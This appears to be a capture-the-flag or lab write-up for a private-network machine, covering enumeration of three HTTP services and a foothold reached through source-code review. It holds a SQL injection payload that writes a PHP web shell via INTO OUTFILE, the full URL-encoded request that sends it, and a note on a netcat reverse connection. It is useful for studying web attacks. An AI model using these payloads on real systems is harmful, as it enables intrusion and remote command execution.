

## Enumeration

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- 1: Use autorecon to enumerate its services, **22, 17445, 30455, 50080** are open
- 2: Services running on **17445, 30455**, and **50080** are all **HTTP** services
- 3: Access the first HTTP service, it is called **IssueTracker**. I cannot find any info about it, therefore, it could be a **private management**. The default page is **login portal**, default credential **admin:admin** does not work. However, I can **register** one and then sign in. After login, I can view all **users** and **issues**, and **edit** them
- 4: Enumerate the second HTTP service, **phpinfo.php** is accessible. With it, I get plenty juicy info. Webroot is **/srv/http**, it is run by **root**, and it use **FPM Api**. There is a **RCE** exploit about **FPM+Nginx**, the target's environment matches so much, I think it is a possible exploit. However, it is **invulnerable** to this exploit
- 5: Enumerate the last HTTP service, I find a hidden directory **/cloud**. Default credential **admin:admin** can sign in.
- 6: The management tool is **NextCloud 20.0.7**. I search for its exploit, since it is relatively new version, it does not have any helpful exploit
- 7: However, I find that **source code** of **IssueTracker** (The management running on port **17445**) is presented in **NextCloud's storage**. Download it and analyze these codes.

# Foothold

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- 1: Execute **grep -R "sql"** to search for keywords about SQL to search for **potential SQLi**
  - 2: A source file **IssueController.java** contains SQL statement execution module
  - 3: Analyze this file, the SQL query is **SELECT message FROM issue WHERE priority="High"**. And it exists in path: **/issue/checkByPriority**
  - 4: Access <http://192.168.61.147:17445/cloud/issue/checkByPriority>, but the server responses that **method error**. It means at least **GET** method is not applied. Therefore, we need to send a modified **POST** request
  - 5: To construct a malicious SQL statement to **write a file** to the **second's HTTP service's webroot**, the sentence is **priority=Normal' UNION SELECT ("<?php echo shell\_exec(\$\_GET['cmd']).' 2>&1');?>") INTO OUTFILE '/srv/http/backdoor.php' -**
  - 6: Consider **URL encoding**, the final request should be  
**POST /issue/checkByPriority?priority=Normal%27%20UNION%20SELECT%20%28%22%3C%3Fphp%20echo%20shell\_exec%28%24\_GET%5B%27cmd%27%5D.%27%20%3E%261%27%29%3B%3F%3E%22%29%20INTO%20OUTFILE%20%27%2Fsrv%2Fhttp%2Fback.php%27%20--%20 HTTP/1.1**
- Host: 192.168.61.147:17445**
- User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:78.0) Gecko/20100101 Firefox/78.0**
- Accept:**  
**text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8**
- Accept-Language: en-US,en;q=0.5**
- Accept-Encoding: gzip, deflate**
- Content-Type: application/x-www-form-urlencoded**
- Content-Length: 0**
- Origin: <http://192.168.61.147:17445>**
- Connection: close**
- Referer: <http://192.168.61.147:17445/issue/add>**
- Cookie: JSESSIONID=5642FE69305815F4849549BAD1E9F097**
- Upgrade-Insecure-Requests: 1**
- 7: Access <http://192.168.61.147:30455/backdoor.php?cmd=cat> /root/proof.txt, get the flag
  - 8: It is also easy to download nc and connect back to Kali's netcat listener

# Privilege Escalation

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1: It is already a root shell

# Review

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- 1: Target **HTTP, SQL**
- 2: **Every HTTP service** is a **puzzle** for the final shell
- 3: First HTTP service has **SQL injection** vulnerability, the second HTTP service reveals **key info**, the third HTTP service provides us with old **source code** of the first HTTP service
- 4: Find the source file which contains **SQL injection vulnerability**
- 5: Analyze source code to construct a **malicious SQL query**
- 6: Execute it by **crafting a POST request** instead of GET request. Because source code could be **modified** as time goes
- 7: Some **rabbit holes** attract me from getting the right direction, such as **FPM+Nginx RCE exploit**